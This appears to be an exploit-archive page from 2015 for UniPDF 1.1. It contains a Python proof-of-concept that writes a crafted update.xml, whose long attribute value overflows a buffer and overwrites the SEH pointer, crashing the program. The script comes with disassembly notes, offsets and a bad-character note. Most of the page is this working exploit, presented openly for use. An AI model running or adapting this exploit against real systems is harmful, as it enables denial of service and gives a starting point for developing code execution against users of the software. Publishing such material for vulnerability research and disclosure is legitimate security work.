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UniPDF 1.1 Buffer Overflow / Denial Of Service

UniPDF 1.1 Buffer Overflow / Denial Of Service
Posted Jan 29, 2015
Authored by bonze

UniPDF version 1.1 suffers from a buffer overflow vulnerability. This is a SEH overwrite denial of service proof of concept exploit.

tags | exploit, denial of service, overflow, proof of concept
SHA-256 | 7c9adc7186397aed0cb3bfb2dfaacca61f412e296b377460a47fa10b0f8d7d95

UniPDF 1.1 Buffer Overflow / Denial Of Service

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# Exploit Title: UniPDF v1.1 BufferOverflow, SEH overwrite DoS PoC
# Google Dork: [none]
# Date: 01/28/2015
# Exploit Author: bonze
# Email: dungvtr@gmail.com
# Vendor Homepage: http://unipdf.com/
# Software Link: http://unipdf.com/file/unipdf-setup.exe (Redirect to: http://unipdf-converter.en.softonic.com/download)
# Version: 1.1
# Tested on: Windows 7 SP1 EN
# CVE : [none]

# Note:
# Function MultiByteToWideChar will overwrite RET and SEH pointer, but I can't make exception occur before StackCookie checking
# Please tell me if you have any ideal

#013E8012 |. 68 00020000 PUSH 200 ; /WideBufSize = 200 (512.)
#013E8017 |. 8D8C24 9C0000> LEA ECX,DWORD PTR SS:[ESP+9C] ; |
#013E801E |. 51 PUSH ECX ; |WideCharBuf
#013E801F |. 52 PUSH EDX ; |StringSize
#013E8020 |. 50 PUSH EAX ; |StringToMap
#013E8021 |. 6A 00 PUSH 0 ; |Options
#013E8023 |. 6A 00 PUSH 0 ; |CodePage = CP_ACP
#013E8025 |. FF15 54B45101 CALL NEAR DWORD PTR DS:[<&KERNEL32.Multi> ; \MultiByteToWideChar
#013E802B |. 8D87 08020000 LEA EAX,DWORD PTR DS:[EDI+208]


# At Offset: 327-> overwrite nSEH
# At Offset: 329-> overwrite SEH
# badchar = 0x22

buff2 = "A" * 325
buff2+= "CC" # nSEH
buff2+= "BB" # SEH
crash2 = "<config>\n"
crash2 += " <current Dat=\"1422420474\" />\n"
crash2 += " <Dat Txt=\""+buff2+"\" />\n"
crash2 += "</config>\n"

# Copy file update.xml to UniPDF Application Folder and run UniPDF.exe
file = open("update.xml","w")
file.write(crash2)
file.close()

print "UniPDF v1.1 Crash PoC by bonze at FPT-IS"
print "Email: dungvtr@gmail.com"
print "File Created"

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